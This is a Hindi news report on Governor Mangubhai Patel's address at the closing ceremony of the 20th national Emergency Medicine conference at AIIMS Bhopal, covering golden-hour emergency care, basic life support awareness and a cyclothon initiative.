राज्यपाल मंगुभाई पटेल ने कहा कि आपातकालीन चिकित्सा में फर्स्टऑवर अर्थात गोल्डन ऑवर बहुत महत्वपूर्ण होता है। इस अवधि में त्वरित और सटीक मेडिकल सहायता से कई लोगों को जीवन दान मिल सकता है। इसलिए दूरस्थ ग्रामीण अंचलों तक बेसिक लाइफ़ सपोर्ट की जागरूकता आवश्यक है। स्वास्थ्य कर्मियों को भी आपातकालीन चिकित्सा के नवीनतम प्रोटोकॉल्स से अपडेट करें। राज्यपाल पटेल इमरजेंसी मेडिसिन के 20वें राष्ट्रीय कॉन्फ्रेंस के समापन समारोह को संबोधित कर रहे थे।

राज्यपाल पटेल ने आपातकालीन चिकित्सा सेवाओं को प्रभावी बनाने और चिकित्सा नवाचारों के लिए एम्स और आयोजकों को बधाई दी। उन्होंने कहा कि कॉन्फ्रेंस में विद्वानों और विशेषज्ञों के मंथन से आपातकालीन चिकित्सा की बेहतरी के लिए जो समाधान और सुझाव रूपी अमृत निकला है, उसे समाज को ज्यादा से ज्यादा बांटने का प्रयास करें।

राज्यपाल मंगुभाई पटेल ने कहा कि भारत जैसे विशाल जनसंख्या वाले देश के लिए हेल्थकेयर विशेष रूप से इमरजेंसी हेल्थकेयर एक चुनौती है। प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व में इमरजेंसी हेल्थ केयर की चुनौतियों के समाधान का व्यापक स्तर पर प्रयास किया जा रहा है। एडवांस लाइफ़ सपोर्ट, बेसिक लाइफ़ सपोर्ट, एम्बुलेंस आदि सेवाओं को बेहतर किया जा रहा है। प्रदेश सरकार भी आपातकालीन चिकित्सा सेवा के नये केंद्रों की स्थापना और अत्याधुनिक चिकित्सा सेवा की दिशा में कार्य कर रही है।

साइक्लोथॉन जनजागरूकता का प्रभावी माध्यम

राज्यपाल पटेल ने कहा कि आपातकालीन परिस्थितियों में लोगों को जागरूक बनाने साइक्लोथॉन प्रभावी माध्यम है। उन्होंने एम्स भोपाल की इस पहल की सराहना की। राज्यपाल पटेल ने आशा व्यक्त की कि साइक्लोथॉन का आयोजन आपातकालीन चिकित्सा के प्रति समाज में सकारात्मकता के प्रसार में सफल होगी। साथ ही इमरजेंसी मेडिसिन के क्षेत्र में एम इंडिया-2024 भी मील का पत्थर साबित होगा।

सांसद भोपाल आलोक शर्मा ने बेसिक लाइफ सपोर्टपर आधारित आयोजन और जीवन रक्षा की जन-जागरूकता के प्रयासों के लिए एम्स भोपाल को बधाई दी।

कार्यक्रम में राज्यपाल पटेल का शॉल, श्रीफल और स्मृति चिन्ह भेंट कर अभिनन्दन किया गया। कार्यपालक निदेशक डॉ. अजय सिंह ने स्वागत भाषण दिया। डॉ. मोहम्मद युनुस ने कॉन्फ्रेंस और साइक्लोथॉन की रूप-रेखा की जानकारी दी। अध्यक्ष एम्स भोपाल डॉ. सुनील मलिक ने कॉन्फ्रेंस के विषय पर अपने विचार रखे। डॉ. भूपेश्वरी पटेल ने आभार व्यक्त किया। समारोह में प्रो. रजनीश जोशी, विद्वान चिकित्सक, साइक्लोथॉन प्रतिभागी उपस्थित रहे।

 

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